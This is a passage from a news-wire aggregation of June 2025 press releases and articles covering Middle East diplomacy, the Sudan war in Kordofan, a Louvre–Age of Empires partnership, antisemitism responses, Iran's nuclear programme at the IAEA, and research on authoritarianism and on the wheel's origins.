    On Memorial Day, while in Saudi Arabia, McCaul met with and thanked airmen from the 317th Airlift Wing out of Dyess Air Force Base in Abilene, who are operating in the Central Command Area of Responsibility.

    In Israel, the delegation met with Prime Minister Benjamin Netanyahu and received a briefing at the U.S. embassy in Jerusalem on U.S.-Israel missile defense cooperation.

    In Jordan, the delegation met His Majesty King Abdullah II and senior cabinet officials to reinforce the strategic partnership between the U.S. and Jordan.

    ###

    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI Europe: AFRICA/SUDAN – Kordofan, the new epicenter of the Sudanese conflict

    Source: Agenzia Fides – MIL OSI

    Wednesday, 11 June 2025 wars  

    Khartoum (Agenzia Fides) – The Kordofan region has become the main stage of the war that, since December 2023, has seen the Sudanese army (Sudan Armed Forces – SAF) against the Rapid Support Forces (RSF).The region is divided into three federal states: North, South, and West Kordofan. Its strategic importance lies in its central location: it separates Darfur, the RSF’s western stronghold, from the eastern regions where the army has managed to expel the paramilitaries, especially from the Khartoum area.In response to this situation, the the army has deployed significant troops in the region, with easily accessible supply lines from the rear. They are currently advancing along the Saderat highway in an attempt to capture Bara, the largest city under RSF control in North Kordofan. In response, the RSF has launched attacks against government positions in Babanusa, in West Kordofan.Losing control of Kordofan would open the door for a direct enemy offensive in Darfur. Therefore, the paramilitaries led by Mohamed Hamdan “Hemedti” Dagalo have declared a general mobilization to halt the army’s advance. Both sides have intensified drone attacks. The army has bombed RSF positions in Bara and Gabrat al-Sheikh—north and northwest of El Obeid, the capital of North Kordofan, as well as in Nyala, the capital of South Darfur and a key RSF logistical hub. In turn, the paramilitaries have used drone attacks on military positions in El Obeid, a town controlled by the paramilitaries but virtually surrounded by the RSF. The conflict is increasingly taking on an international dimension. The SAF has accused the RSF, with the support of Khalifa Haftar’s Libyan National Army, of attacking border posts in the border triangle between Libya, Egypt, and Sudan.In a statement, the Sudanese Ministry of Foreign Affairs denounced the UAE’s support for these actions, calling them a “dangerous escalation” and a “clear violation of international law.” “The border between Sudan and Libya has become a corridor for arms trafficking and mercenaries serving terrorist militias, financed by the UAE and coordinated by Haftar’s forces and other extremist groups,” the Ministry said. The accusations have been rejected by the Libyan general, although it is acknowledged that Haftar enjoys support from both the Emirates and Egypt, a country that is among the Sudanese army’s main allies. (L.M.) (Agenzia Fides, 11/6/2025)
    Share:

    MIL OSI Europe News –

    June 12, 2025

  • MIL-OSI Banking: In its first gaming partnership, Louvre launches Age of Empires exhibition

    Source: Microsoft

    Headline: In its first gaming partnership, Louvre launches Age of Empires exhibition

    Emma Bridle June 10, 2025

    Today we are thrilled to announce that Age of Empires is partnering with the world’s most-visited museum, the Louvre in Paris!

    On April 30th, the Louvre launched an exhibition on the Mamluk sultanate (1250-1517), a European first. The exhibition aims to share the story of this golden age of the Islamic Near East, showcasing its breadth and richness, all told from a transregional perspective. The Mamluks appear in three Age of Empires titles and players around the world have discovered their prowess and story through our games since 1999.

    With a shared passion for history at its heart, this collaboration between Age of Empires and the Louvre serves to share the story of the Mamluks to people around the world and encourage them to learn more about this golden age of medieval history, which isn’t often told.

    Throughout the month of June, we’ll be collaborating both at the museum in Paris and online. For an overview of our collaboration, check our dedicated webpage.

    Age of Empires and the Louvre Partnership Page

    You’ll be able to experience content from the partnership at the museum, on our websites, on social media and via the first ever livestream from the museum, on June 12th, starting at 11:00 AM PT (2:00 PM ET / 18:00 UTC).

    We are so honored to be working with the Louvre, we share a passion for sharing the stories of history with the world.

    “World’s Edge is honored to collaborate with Le Louvre. The Age of Empires franchise has been bringing history to life for more than 65 million players around the world for almost 30 years. We’ve always believed in the great potential for our games to spark an interest in history and culture. We often hear of teachers using Age of Empires to teach history to their students and stories from our players about how Age of Empires has driven them to learn more, or even to pursue history academically or as a career. This opportunity to bring the amazing stories of the Mamluks to new audiences through the Louvre’s exhibition is one we’re excited to be a part of. We hope that through the excellent work of the Louvre’s team, the legacy of the Mamluks can be shared around the world, and that people enjoy their stories as they come to life through Age of Empires.”

    — Michael Mann, Studio Head at World’s Edge

    The Mamluks in Age of Empires

    The Mamluks have been an iconic part of the Age of Empires franchise since Age of Empires II (1999). Players today can experience these mighty warriors in Age of Empires II: Definitive Edition, Age of Empires III: Definitive Edition, and in Age of Empires IV (via the best-selling Sultans Ascend DLC).

    There’s more information about how you can play as the Mamluks in Age games on our partnership webpage.

    Play as the Mamluks in an All-New Scenario

    To celebrate the partnership, we’re releasing a brand new custom scenario for Age of Empires II: Definitive Edition on PC, “Ayn Jalut”. Created by World’s Edge Senior Business Manager, and famed Age campaign designer, Ramsey Abdulrahim. In this scenario, you play as Baybars before the pivotal battle when the fate of the Muslim world held in the balance. Prepare your forces, set up your ambushes, and use your cunning and strategy to overcome the Mongol horde. Like the Mamluks, can you be the first to defeat the Mongols?

    When finished, try again and best your friends for the highest score!

    The entire world trembled before the Mongols. Rulers of China and Persia, the fearsome horsemen swept through the cities of the Islamic world, leaving ruins. Only Baybars and the Mamluks of Egypt stood in their way. Baybars had gathered an army at Ayn Jalut, the site where the Biblical David slew the giant Goliath. Baybars had been born a thousand miles away, but he knew the Mongols well: they had slaughtered his family and sold him–as a mere boy–into slavery. At Ayn Jalut, he was determined to have his revenge–and slay his own giant.

    The Mamluks and the Exhibition

    The Mamluks, freed slave-soldiers of primarily Turkish (and later Caucasian) origin, built their legend on their military prowess. They conquered the last bastions of the Crusaders, fought and repelled the Mongols, survived Timur’s invasions and kept threatening neighbors at bay, before succumbing to Ottoman expansion. The sultanate encompassed a vast territory, including Egypt, Bilad al-Sham (modern day Syria, Lebanon, Israel/Palestine and Jordan), parts of Eastern Anatolia and the Hejaz region of Arabia, which includes Mecca and Medina.

    The exhibition takes visitors beyond the military legend of the Mamluk sultanate and shows the complex and multi-faceted society they formed. They created a world in which sultans mingled with emirs and rich civil elites, all actively engaging in artistic patronage. Women had active roles in Mamluk society, as well as Christian and Jewish minorities. At the meeting point of Europe, Africa and Asia, people and ideas circulated, as well as arts and trade.

    The exhibition is an unprecedented opportunity to discover this glorious and yet little-known empire, through a collection of masterpieces from around the world. Visitors will be exposed to a new perspective on medieval Egypt and the Near East.

    To make sure you can enjoy all the partnership content, make sure you’re following Age of Empires and the Louvre on social media!

    MIL OSI Global Banks –

    June 12, 2025

  • MIL-OSI USA: Speaker Johnson to Travel to Israel to Address the Knesset

    Source: United States House of Representatives – Representative Mike Johnson (LA-04)

    WASHINGTON — Speaker Johnson will travel to address a special session of the Israeli Knesset in Jerusalem on Sunday, June 22.

    “It will be one of the highest honors of my life to address the Israeli Knesset at this fateful moment. Our ties run deeper than military partnerships and trade agreements. We’re bound by the same beliefs, the same psalms, and the same sacred pursuit of liberty,” Speaker Johnson said, announcing the trip.

    “Today, the State of Israel and Jewish people around the world face grave threats, and it is our moral imperative to stand by our sister democracy. As terror and vile antisemitic ideology threaten Western Civilization, Israel must know that when America said, ‘Never Again,’ we meant it.”

    Speaker of the Knesset Amir Ohana made the following statement:

    “Mike Johnson is a great friend of the State of Israel and the Jewish people. From the moment he was elected, he not only expressed his support through words but also took decisive action, even at the risk of his position, to support Israel in its most challenging moments. I hold him in great esteem, believe he is highly deserving of addressing the Knesset, and look forward to hosting him and hearing his words to the nation.”

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    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI USA: Speaker Johnson, Leader Jeffries Lead Memorial Vigil Honoring the Lives of Sarah Milgrim and Yaron Lischinsky

    Source: United States House of Representatives – Representative Mike Johnson (LA-04)

    WASHINGTON, D.C. — Tonight, Speaker Johnson and Leader Jeffries hosted a bipartisan vigil to honor the lives of Sarah Milgrim and Yaron Lischinsky, two Israeli embassy staffers who were killed in a violent act of antisemitism after leaving an event at the Capital Jewish Museum last month. Speaker Johnson and Leader Jeffries were joined by Israeli Ambassador to the United States Yechiel Leiter; CEO of the American Jewish Committee Ted Deutch; Israeli embassy staff, and Members of Congress.

    Watch Speaker Johnson’s remarks here

    Below are Speaker Johnson’s remarks as delivered:

    We gather tonight to honor the memory of two precious souls, Sarah Milgrim and Yaron Lischinsky. Our hearts go out to the families and friends of Sarah and Yaron, and all those who have come from the Israeli Embassy tonight and the AJC to honor their memory. We want to thank you all for being here.

    We took every precaution to arrange this evening and ensure the safety of everyone in attendance. And sadly, that’s because it’s a dangerous time to be a Jewish American. The two innocent lives we honor today should still be with us. Sarah and Yaron were young, and they were in love. They led honorable lives of advocacy at the Israeli Embassy, and they devoted themselves to peace in the land that they so loved.

    The monster who murdered them was not motivated by peace, but something very different. He went to a Jewish museum to hunt down Jewish people. And we want to be crystal clear tonight: this is targeted antisemitic terrorism. There are no shades of gray and there is no other way to describe it.

    As we’ve seen in the week since, this violence is sadly not isolated. Just 10 days after these murders, a group of Jewish Americans, most of them elderly and one a Holocaust survivor, were pelted with Molotov cocktails in Boulder, Colorado. In Colorado and in our capital city we see two cold-blooded monsters separated by 2,000 miles, but united in their sick hatred of the Jewish people. It just defies understanding.

    Both individuals chanted a slogan that is all too familiar on college campuses and city streets since the horrors of October 7th: ‘Free Palestine.’ It’s the chant of a violent movement that has found common cause with Hamas, and it’s a movement that has lost hold of the difference between right and wrong, between good and evil, between light and darkness and barbarism.

    The chants of the terrorists who pillaged Israel on October 7th are almost indistinguishable from those of Hamas sympathizers here on our own shores. They proclaim that violence is righteous, that rape is justice and that murder is liberation. 

    They have created a culture of lies that puts a bounty on the heads of peace-loving Jewish Americans. And the insidious spread of this violent ideology has emboldened the evil worldview of people like the one that took the lives of Sarah and Yaron.

    Where is the outrage for these two young victims? There have been no national protests for them or the many victims of antisemitic violence all around this country, no calls in the streets to say their names. No chants for justice or peace.

    We cannot let these depraved antisemitic terrorists silence us. We must stand up and protect our Jewish brothers and sisters. The Republicans and the Democrats here today stand united in that cause and condemning the violence and the rhetoric that directly aides and abets it. We have a responsibility to recommit ourselves to the cause for which Sarah and Yaron lived and for which they literally gave their lives. That is the cause of peace.

    I am reminded of the scripture that says blessed are the peacemakers, for they shall be called the children of God. Tonight, we honor two of God’s children, tragically lost too soon. 

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    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI Africa: Prime Minister and Minister of Foreign Affairs Sends Written Message to Swedish Foreign Minister

    Source: Government of Qatar

    Stockholm, June 11 

    HE Prime Minister and Minister of Foreign Affairs Sheikh Mohammed bin Abdulrahman bin Jassim Al-Thani sent a written message to HE Minister of Foreign Affairs of the Kingdom of Sweden Maria Malmer Stenergard, pertaining to bilateral relations and ways to support and develop them.

    The message was handed over by HE Ambassador of the State of Qatar to the Kingdom of Sweden Nadya bint Ahmad Al Sheebi during her meeting with HE Deputy Minister of Foreign Affairs of Sweden Dag Hartelius. 

    MIL OSI Africa –

    June 12, 2025

  • MIL-OSI Global: Antagonism to transgender rights is tied to the authoritarian desire for social conformity – not just partisan affiliation

    Source: The Conversation – USA – By Tatishe Nteta, Provost Professor of Political Science and Director of the UMass Amherst Poll, UMass Amherst

    President Donald Trump signs an executive order barring transgender female athletes from competing in women’s or girls sporting events on Feb. 5, 2025, in Washington. AP Photo/Alex Brandon

    Since becoming president, Donald Trump has aggressively sought to fulfill his campaign promise to reverse the Biden administration’s protection of transgender Americans.

    His administration decreed that the federal government will recognize only two genders and banned transgender Americans from serving in the military. Trump has also restricted federal funds for hospitals that perform gender-affirming care.

    Trump is not alone in attacking the rights of transgender Americans. In 2025, 53 bills have been introduced in the U.S. Congress and over 900 bills have been introduced in 49 states that aim to limit the rights of transgender Americans in education, health care and athletics, according to the Trans Legislation Tracker.

    While legal and ethical questions remain about these efforts, restricting the rights of transgender Americans seems to enjoy support among a majority of Americans.

    For example, support for restricting the ability of medical professionals from providing gender-affirming care to minors has risen from 46% in 2022 to 56% in 2025, according to the Pew Research Center.

    We wanted to know what factors contribute to majority support among Americans for these measures. We found that authoritarian attitudes – the desire for social conformity and an aversion to difference – play an important role in Americans’ willingness to restrict transgender rights.

    A member, left, of the Idaho Liberty Dogs, a far-right extremist group, argues with attendee Kimberly Rumph near the entrance of the first Pride festival ever held in Nampa, Idaho, on June 9, 2024.
    Kyle Green for The Washington Post via Getty Images

    Preferring conformity, suppressing social difference

    A number of civil rights organizations, pro-democracy think tanks and scholars have recently argued that executive and legislative efforts to limit the rights of transgender Americans reflect a larger authoritarian turn in the nation’s politics.

    Here, we refer to authoritarianism not as a type of political system or the characteristics of a leader, but rather as a person’s preference for social conformity and desire to suppress social difference.

    According to this perspective, the attack on transgender rights is intended to appeal to Americans with authoritarian inclinations. As seen in authoritarian regimes such as Russia and Turkey, political leaders first mobilize their citizens on the basis of their desire to suppress transgender individuals in order to advance a broader movement to undermine democracy and restrict the rights of other groups that fail to conform to majority values.

    While this perspective is quickly gaining media coverage, there hasn’t yet been hard evidence that authoritarians are particularly supportive of anti-trans legislation. Our goal was to assess the link between authoritarian attitudes and support for measures that restrict transgender rights.

    We are political scientists who study the role of authoritarianism in American politics and who field polls that explore Americans’ views on a number of pressing issues.

    In April 2025, we fielded a nationally representative survey of 1,000 American adults, asking about their perceptions of the first months of the second Trump presidency, their views toward various groups in society, and their policy preferences. We also asked them for their views about restrictions on the provision of gender-affirming care to transgender Americans.

    Here’s how we analyzed and interpreted their responses.

    Conformity, obedience, uniformity

    Authoritarianism is defined by public opinion scholars as an individual’s predisposition toward conformity, obedience and uniformity and an aversion to diversity, difference and individual autonomy.

    To measure authoritarianism, scholars use a scale that asks respondents to express their preferences for a range of child-rearing practices. The scale asks whether a respondent tends to prefer children who are obedient, well behaved and well mannered or children who are independent, creative and considerate. Those who tend to favor obedient children are scored as having more authoritarian views.

    Child-rearing preferences seem to be unrelated to attitudes about conformity in society. But there is good reason to believe that an adult who prefers conformity, obedience and uniformity in children also desires the same in society at large.

    Political psychologists have used this scale to help explain Americans’ support for the war on terrorism, their racial attitudes, views on gender equality and immigration attitudes.

    This work consistently shows that individuals who are less authoritarian are more likely to support policies that recognize diverse views. Those who rank high on authoritarianism prefer policies that highlight social unity and conformity.

    Thus, we expected that Americans with more authoritarian attitudes would more strongly support state laws that seek to restrict transgender Americans’ access to gender-affirming care.

    We find evidence that this is indeed the case.

    A person holds a sign supporting transgender veterans at the Unite For Veterans rally in Washington, D.C., on June 3, 2025.
    Dominic Gwinn/Middle East Images via AFP via Getty Images

    ‘Not a sideshow’

    In line with other polling on this issue, our survey found that a little over one-third of Americans – 36% – express support for legislation that would make providing gender-affirming medical care to transgender youth a crime. Among the remaining respondents, 38% expressed opposition, and 26% expressed ambivalence toward this proposal.

    We looked at support for banning gender-affirming care by level of authoritarianism. We found clear differences between the most and least authoritarian Americans.

    Among those who score highest on the authoritarian scale, 46% express support for this ban, with 18% in opposition. The remaining 36% responded “neither support nor oppose” this ban. Examining the views of Americans who exhibit the least authoritarian views, we find that while 21% support these bans, 61% oppose them and 18% expressed an ambivalent view.

    Authoritarianism remains an important contributor to Americans’ support for a ban on gender-affirming care for transgender youth, even after we take into account other considerations that influence this attitude.

    Republican partisanship, conservative ideology and religiosity all increase support for a ban on gender-affirming care. After accounting for these factors, as well as for characteristics such as education, income, age and knowing a transgender person, more authoritarian people are still more likely to support the ban.

    Many state legislatures and the U.S. Congress are considering legislation to restrict the rights of transgender Americans.

    The findings from our survey suggest that while partisanship, ideology and religiosity all play key roles in explaining the popularity of these policies, a missing piece of the puzzle is authoritarianism.

    Given their aversion to diversity and difference and their preference for the status quo, Americans with authoritarian inclinations likely believe that transgender people pose a threat to the social order. Thus, they are more likely than Americans low in authoritarianism to support policies that seek to restrict transgender rights in order to restore social conformity.

    It’s not clear whether the passage of anti-transgender policies alone will lead the nation to turn away from a largely diverse and open democracy toward a more closed and intolerant society. But the fight over transgender rights is not a sideshow in American politics. Instead, it is one of the first of many battles over diversity and difference that will determine the nation’s political future.

    Jesse Rhodes has received funding from the National Science Foundation, the Demos Foundation, and the Spencer Foundation. He is a member of the American Civil Liberties Union.

    Adam Eichen, Lane Cuthbert, and Tatishe Nteta do not work for, consult, own shares in or receive funding from any company or organization that would benefit from this article, and have disclosed no relevant affiliations beyond their academic appointment.

    – ref. Antagonism to transgender rights is tied to the authoritarian desire for social conformity – not just partisan affiliation – https://theconversation.com/antagonism-to-transgender-rights-is-tied-to-the-authoritarian-desire-for-social-conformity-not-just-partisan-affiliation-257431

    MIL OSI – Global Reports –

    June 12, 2025

  • MIL-OSI Global: How was the wheel invented? Computer simulations reveal the unlikely birth of a world-changing technology nearly 6,000 years ago

    Source: The Conversation – USA – By Kai James, Professor of Aerospace Engineering, Georgia Institute of Technology

    The assumption was that the wheel evolved from wooden rollers. Tetra Images via Getty Images

    Imagine you’re a copper miner in southeastern Europe in the year 3900 B.C.E. Day after day you haul copper ore through the mine’s sweltering tunnels.

    You’ve resigned yourself to the grueling monotony of mining life. Then one afternoon, you witness a fellow worker doing something remarkable.

    With an odd-looking contraption, he casually transports the equivalent of three times his body weight on a single trip. As he returns to the mine to fetch another load, it suddenly dawns on you that your chosen profession is about to get far less taxing and much more lucrative.

    What you don’t realize: You’re witnessing something that will change the course of history – not just for your tiny mining community, but for all of humanity.

    An illustration of what the original mine carts used in the Carpathian mountains may have looked like in 3900 B.C.E.
    Kai James via DALL·E

    Despite the wheel’s immeasurable impact, no one is certain as to who invented it, or when and where it was first conceived. The hypothetical scenario described above is based on a 2015 theory that miners in the Carpathian Mountains – now Hungary – first invented the wheel nearly 6,000 years ago as a means to transport copper ore.

    The theory is supported by the discovery of more than 150 miniaturized wagons by archaeologists working in the region. These pint-sized, four-wheeled models were made from clay, and their outer surfaces were engraved with a wickerwork pattern reminiscent of the basketry used by mining communities at the time. Carbon dating later revealed that these wagons are the earliest known depictions of wheeled transport to date.

    This theory also raises a question of particular interest to me, an aerospace engineer who studies the science of engineering design. How did an obscure, scientifically naive mining society discover the wheel, when highly advanced civilizations, such as the ancient Egyptians, did not?

    A controversial idea

    It has long been assumed that wheels evolved from simple wooden rollers. But until recently no one could explain how or why this transformation took place. What’s more, beginning in the 1960s, some researchers started to express strong doubts about the roller-to-wheel theory.

    After all, for rollers to be useful, they require flat, firm terrain and a path free of inclines and sharp curves. Furthermore, once the cart passes them, used rollers need to be continually brought around to the front of the line to keep the cargo moving. For all these reasons, the ancient world used rollers sparingly. According to the skeptics, rollers were too rare and too impractical to have been the starting point for the evolution of the wheel.

    But a mine – with its enclosed, human-made passageways – would have provided favorable conditions for rollers. This factor, among others, compelled my team to revisit the roller hypothesis.

    A turning point

    The transition from rollers to wheels requires two key innovations. The first is a modification of the cart that carries the cargo. The cart’s base must be outfitted with semicircular sockets, which hold the rollers in place. This way, as the operator pulls the cart, the rollers are pulled along with it.

    This innovation may have been motivated by the confined nature of the mine environment, where having to periodically carry used rollers back around to the front of the cart would have been especially onerous.

    The discovery of socketed rollers represented a turning point in the evolution of the wheel and paved the way for the second and most important innovation. This next step involved a change to the rollers themselves. To understand how and why this change occurred, we turned to physics and computer-aided engineering.

    Simulating the wheel’s evolution

    To begin our investigation, we created a computer program designed to simulate the evolution from a roller to a wheel. Our hypothesis was that this transformation was driven by a phenomenon called “mechanical advantage.” This same principle allows pliers to amplify a user’s grip strength by providing added leverage. Similarly, if we could modify the shape of the roller to generate mechanical advantage, this would amplify the user’s pushing force, making it easier to advance the cart.

    Our algorithm worked by modeling hundreds of potential roller shapes and evaluating how each one performed, both in terms of mechanical advantage and structural strength. The latter was used to determine whether a given roller would break under the weight of the cargo. As predicted, the algorithm ultimately converged upon the familiar wheel-and-axle shape, which it determined to be optimal.

    A computer simulation of the evolution from a roller to a wheel-and-axle structure. Each image represents a design evaluated by the algorithm. The search ultimately converges upon the familiar wheel-and-axle design.
    Kai James

    During the execution of the algorithm, each new design performed slightly better than its predecessor. We believe a similar evolutionary process played out with the miners 6,000 years ago.

    It is unclear what initially prompted the miners to explore alternative roller shapes. One possibility is that friction at the roller-socket interface caused the surrounding wood to wear away, leading to a slight narrowing of the roller at the point of contact. Another theory is that the miners began thinning out the rollers so that their carts could pass over small obstructions on the ground.

    Either way, thanks to mechanical advantage, this narrowing of the axle region made the carts easier to push. As time passed, better-performing designs were repeatedly favored over the others, and new rollers were crafted to mimic these top performers.

    Consequently, the rollers became more and more narrow, until all that remained was a slender bar capped on both ends by large discs. This rudimentary structure marks the birth of what we now refer to as “the wheel.”

    According to our theory, there was no precise moment at which the wheel was invented. Rather, just like the evolution of species, the wheel emerged gradually from an accumulation of small improvements.

    This is just one of the many chapters in the wheel’s long and ongoing evolution. More than 5,000 years after the contributions of the Carpathian miners, a Parisian bicycle mechanic invented radial ball bearings, which once again revolutionized wheeled transportation.

    Ironically, ball bearings are conceptually identical to rollers, the wheel’s evolutionary precursor. Ball bearings form a ring around the axle, creating a rolling interface between the axle and the wheel hub, thereby circumventing friction. With this innovation, the evolution of the wheel came full circle.

    This example also shows how the wheel’s evolution, much like its iconic shape, traces a circuitous path – one with no clear beginning, no end, and countless quiet revolutions along the way.

    Kai James receives funding from The National Science Foundation.

    – ref. How was the wheel invented? Computer simulations reveal the unlikely birth of a world-changing technology nearly 6,000 years ago – https://theconversation.com/how-was-the-wheel-invented-computer-simulations-reveal-the-unlikely-birth-of-a-world-changing-technology-nearly-6-000-years-ago-244038

    MIL OSI – Global Reports –

    June 12, 2025

  • MIL-OSI USA: Colorado Lawmakers Introduce Bipartisan Resolution Condemning Horrific, Antisemitic Attack in Boulder

    Source: United States House of Representatives – Congressman Joe Neguse (D-Co 2)

    Lafayette, CO — Congressman Joe Neguse and Senator Michael Bennet, both of whom represent the people of Boulder, Colorado in the United States Congress, introduced a bipartisan resolution condemning the horrific and antisemitic act of terror that took place on the Pearl Street Mall on the afternoon of Sunday, June 1st. It was co-signed by Senator John Hickenlooper and Representatives Diana DeGette, Brittany Pettersen, Jason Crow, Jeff Hurd, and Jeff Crank. 

    The resolution denounces the scourge of antisemitism that has metastasized across the country, citing a disturbing rise in violent and hateful attacks against Jewish Americans—including the horrific assault on 15 Coloradans who had gathered for a peaceful march calling for the release of Israeli hostages in Gaza. It also calls upon the American people to stand united in supporting the victims and their families, as the community continues to promote peace and safety.

    “Our community is reeling. The horrific rise of violence toward our Jewish brothers and sisters must be stopped,” said Congressman Neguse. “That’s why we are calling on lawmakers from across Congress to join us in expressing their support for the 15 victims of Sunday’s act of terror and to stay united in the fight to stop the rise of antisemitism, which has shamefully become far too prevalent across our country.”

    “On June 1, a lone attacker committed unspeakable violence against Jewish Coloradans who gathered weekly to raise awareness for the hostages that Hamas has held for over 600 days. He did not attack them to make a political statement, but because he simply wanted to kill Jews,” said Senator Bennet. “This type of hatred is not new; antisemitism is the world’s oldest hatred. We must recommit to stand united with the Jewish community, for freedom – of speech and religion – and against fear. Hate has no home in Colorado.”

    “Run For Their Lives is deeply appreciative of this declaration against antisemitism and for the ongoing support and strength of both Congressman Joe Neguse, Senator Michael Bennet, and other representatives around our state since the attack on June 1st. We will continue marching until every last Israeli hostage has been released from Gaza, and we will continue making our voices heard until every Jew worldwide is safe from the threats of antisemitism and violence. We invite all people across the country and across the globe to join us. Together, we cannot be stopped,” said representatives from the Boulder and Denver Chapters of Run For Their Lives.

    The full text of the resolution is available HERE. 

    It is supported by Run For Their Lives, the Anti-Defamation League, the Democratic Majority for Israel, and the American Jewish Committee (AJC) . 

    ###

    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI United Kingdom: IAEA Board of Governors on the JCPoA, June 2025: E3 statement

    Source: United Kingdom – Executive Government & Departments

    Speech

    IAEA Board of Governors on the JCPoA, June 2025: E3 statement

    France, Germany and the UK (E3) gave a joint statement to the International Atomic Energy Agency (IAEA) Board of Governors on Iran’s implementation of its nuclear commitments under the JCPoA

    Chair,

    On behalf of France, Germany and the United Kingdom, I thank Director General Grossi for his latest report on Iran’s nuclear programme, which once again demonstrates the Agency’s professional, independent and impartial work providing objective reporting on Iran’s nuclear programme and its implementation of its nuclear-related commitments under UN Security Council resolution 2231.

    The content of this latest report is far from positive. As we have heard many times before, it details more escalation in Iran’s nuclear programme, moving Iran even further from its JCPoA commitments, while at the same time Iran fails to improve its cooperation with the IAEA, despite the Board’s appeals. As the DG notes, Iran’s enrichment to 60% is unprecedented for a state without nuclear weapons, and has no credible civilian justification. The IAEA is currently unable to verify that Iran’s escalating nuclear programme is exclusively peaceful. That must be a concern for us all.

    Since the last report, Iran has continued expanding its enriched uranium stockpile, particularly its production of high enriched uranium, far exceeding its JCPoA commitments. Iran’s stockpile of uranium enriched up to 60 % has increased by roughly 50 % since the last Board and now is more than 400 kg. This is very concerning. Iran now has more than nine IAEA significant quantities of high enriched uranium and is producing just under one significant quantity of high enriched uranium per month. As a reminder, a significant quantity is the approximate amount required, as defined by the IAEA, of material from which the possibility of manufacturing a nuclear explosive device cannot be excluded. Iran’s overall stockpile exceeds the limits laid out in the JCPoA by more than 40 times. We echo the DG’s “serious concern” with this issue.

    And Iran is not stopping there. In his latest report, the DG points out that Iran has continued to expand its enrichment infrastructure by installing and partly operating new advanced centrifuges. Iran’s installed enrichment capacity is over ten times the limits Iran agreed in the JCPoA. Likewise, Iran’s continued operation of the Fordow underground facility is another breach of Iran’s JCPoA commitments and is alarming given Fordow’s status as a former undeclared enrichment facility.

    Meanwhile, Iran refuses to re-designate several experienced Agency inspectors. This is a politically motivated decision which seriously affects the IAEA’s ability to conduct its verification in Iran, particularly at its enrichment facilities.

    As a result of Iran’s continued non-cooperation and lack of implementation of almost all transparency commitments made under the JCPoA, the DG’s latest report restates that the Agency has permanently lost the continuity of knowledge on key parts of Iran’s nuclear programme that relate to the production and inventory of centrifuges, rotors and bellows, heavy water and uranium ore concentrate.

    The DG also observes that it has been four years since Iran stopped provisionally applying its Additional Protocol, thus denying the Agency complementary access to any sites or other locations in Iran.

    As a result of all these shortcomings, the Agency is yet again not able to ascertain whether Iran’s nuclear programme is exclusively peaceful. This fact, taken together with continued rhetoric from Iranian officials about Iran’s capability to assemble a nuclear weapon and about the option to change Iran’s so-called ‘nuclear doctrine’, as well as Iran’s threats to leave the Nuclear Non-Proliferation Treaty, pose a serious threat to international security, and the non-proliferation regime.

    Chair,

    The E3 have consistently worked towards a diplomatic solution to address Iran’s nuclear programme and to remove all doubts about its exclusively peaceful nature. Yet, in 2022, Iran twice refused a viable deal that would have brought it back into compliance with the JCPoA, with a return to United States participation, and instead Iran chose to continue to expand its nuclear activities. And this year, while engaging in dialogue with the United States and the E3, Iran has continued its nuclear escalation unabatedly, even further beyond any credible civilian justification.

    We therefore call again on Iran to urgently change course:

    Iran must halt and reverse its nuclear escalation and refrain from making threats regarding a change of its nuclear doctrine, which are in themselves highly destabilising and not consistent with Iran’s status as a state without nuclear weapons under the NPT;

    Iran must return to compliance with its JCPoA commitments;

    Iran must restore full transparency with its nuclear programme and implement the verification measures it committed to under the JCPoA and other transparency commitments, in particular its legal obligations under its Comprehensive Safeguards Agreement. It must also reverse its September 2023 decision to de-designate several experienced IAEA inspectors in order to allow the Agency to fully implement its mandate; and finally:

    Iran must urgently re-implement and ratify the Additional Protocol.

    Chair,

    We, the IAEA, and many in this Board have repeated this message for years now – this matter is urgent, Iran must demonstrate its commitment to a diplomatic solution by taking concrete steps to address the international community’s concerns. The E3 wants to see a diplomatic solution. We welcome the ongoing efforts to achieve this. Through our engagement there is a clear, common message: Iran cannot be allowed to develop or acquire nuclear weapons. The E3 will spare no efforts to work towards a diplomatic solution to achieve this goal. Absent a satisfying deal, the E3 will consider triggering the snapback mechanism to address threats to international peace and security arising from Iran’s nuclear programme.

    We ask the Director General to keep the Board informed on all relevant activities and developments relating to Iran’s nuclear programme by regular and, if necessary, extraordinary reporting.

    Finally, we ask for this report to be made public.

    Thank you.

    Updates to this page

    Published 11 June 2025

    MIL OSI United Kingdom –

    June 12, 2025

  • MIL-OSI Russia: Arab League Secretary General welcomes Western sanctions against Israeli ministers

    Translation. Region: Russian Federal

    Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

    Source: People’s Republic of China – State Council News

    CAIRO, June 11 (Xinhua) — Arab League Secretary-General Ahmed Abu al-Gheit on Wednesday welcomed the joint decision of five Western countries to impose sanctions on two Israeli ministers.

    Israel’s National Security Minister Itamar Ben-Gvir and Finance Minister Bezalel Smotrich have been banned from entering Australia, Canada, New Zealand, Norway and the United Kingdom for repeatedly inciting violence against Palestinians in the West Bank, the five countries’ foreign ministers announced Tuesday.

    In a statement issued by the Arab League on Wednesday, Abu al-Gheit called the ban “important” because it holds officials in the occupying government accountable for engaging in “clear incitement to violence” and condoning Israeli settlers who attack Palestinians in the West Bank with impunity.

    According to the Secretary-General, the sanctions expose the criminal actions of far-right government officials who have committed war crimes and large-scale violations of international humanitarian law in the West Bank and Gaza Strip.

    The move is an important step towards changing the international position on war crimes against Palestinians and taking practical steps to hold those responsible accountable, the statement said. –0–

    MIL OSI Russia News –

    June 12, 2025

  • MIL-OSI United Nations: Human Rights Council to Hold its Fifty-Ninth Regular Session from 16 June to 9 July 2025

    Source: United Nations – Geneva

    The United Nations Human Rights Council will hold its fifty-ninth regular session from 16 June to 9 July 2025 at the Palais des Nations in Geneva. 

    The session will open at 10 a.m. on Monday, 16 June under the presidency of Ambassador Jürg Lauber of Switzerland.  The opening will be addressed by the United Nations High Commissioner for Human Rights, Volker Türk, who will present his annual report.  The Council will be meeting in room XX of the Palais des Nations.

    Over almost four weeks, the Council will consider more than 60 reports presented by the Secretariat of the United Nations and the High Commissioner for Human Rights, human rights experts and other investigative bodies on numerous topics and relevant to the situation of human rights in more than 40 countries.  In total, the Council will hold 32 interactive dialogues. 

    During the session, the Council will hold interactive dialogues with the High Commissioner on his annual report under agenda item two; on the Bolivarian Republic of Venezuela under agenda item four; and on Ukraine and Colombia under agenda item 10. 

